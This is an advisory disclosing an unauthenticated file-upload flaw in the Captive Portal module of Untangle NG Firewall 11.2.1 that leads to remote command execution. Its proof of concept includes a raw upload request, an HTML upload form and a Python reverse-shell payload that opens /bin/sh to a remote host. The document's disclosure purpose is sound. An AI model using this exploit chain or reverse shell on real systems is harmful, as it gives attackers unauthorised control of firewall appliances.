SSD Advisory – Untangle NG Firewall Remote Command Execution

Vulnerability Description
The Untangle NG Firewall appliance includes a free module called “Captive Portal”. This module is installed by default with several other recommended modules. This module works as 2FA authentication system, which enables multi user login (in VPN or LAN environment for example) and custom firewall rules for each one. It forces all traffic to be authenticated before giving access to the network, and redirects all HTTP/HTTPS request to a login/disclaimer URL (“/capture/handler.py”).
The component URI is not restricted to local users, so it can be accessed also from the administrative interface, which is enabled by default on WAN interfaces to remote users, through HTTPS (443).
There is an administrative functionality in this module to upload custom python scripts or HTML pages, packed as ZIP file. The component does not check if the user is authenticated before processing the upload. It results in an arbitrary file upload vulnerability, which allows remote unauthenticated users to write custom python/HTML files to a known folder.
All Untangle plugins has its own application id, by default the captive portal id is “16”. The uploaded files (if packed correctly) will be extracted and copied to:
“/capture/custom_16/”
The id is consistent, but in older versions may change. Anyway, it is always between 1-35, which is short enough to identify it in a few tries (in the worst case).
The content of the ZIP file must be a “custom.py” or “custom.html” file.
As result, there is a RCE vulnerability, because when the module is installed, the web server configuration is modified to execute CGI files (as python) from “/capture/” folder. So if a custom python is uploaded, accessing the file through the web will execute the content:
“/capture/custom_16/custom.py”
In a few words:

  1. Upload ZIP file with a file called “custom.py” with the desired Python payload inside.
  2. Access “/capture/custom_16/custom.py” to execute its content


Proof of Concept
Do a POST request to “/capture/handler.py/custom_upload”, to upload the payload:

POST /capture/handler.py/custom_upload HTTP/1.1
Host: untangle.domain.int
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------237722935617694
Content-Length: 671
-----------------------------237722935617694
Content-Disposition: form-data; name="upload_file"; filename="test.zip"
Content-Type: application/zip
[...]
-----------------------------237722935617694
Content-Disposition: form-data; name="appid"
16
-----------------------------237722935617694
Content-Disposition: form-data; name="filename"
test.py
-----------------------------237722935617694--

The “upload_file” parameter must include your zipped “custom.py” payload, the “appid” one is the default application id (16). The “filename” is not relevant, only for status/error reporting. Set an arbitrary value.
The next HTML form can be used as PoC, just set correct “action” host parameter:

<html>
<body>
<form method="POST" enctype="multipart/form-data" action="https://172.16.111.1/capture/handler.py/custom_upload">
<input type="file" name="upload_file">
<input type="text" name="appid" value="16">
<input type="text" name="filename" value="test.py">
<input type="submit" value="Send">
</form>
</body>
</html>
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("8.8.8.8",80)); # CHANGE
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

It is just an example of Python payload, but any other can be used to trigger the vulnerability.
Vulnerable Version
Untangle NG Firewall version 11.2.1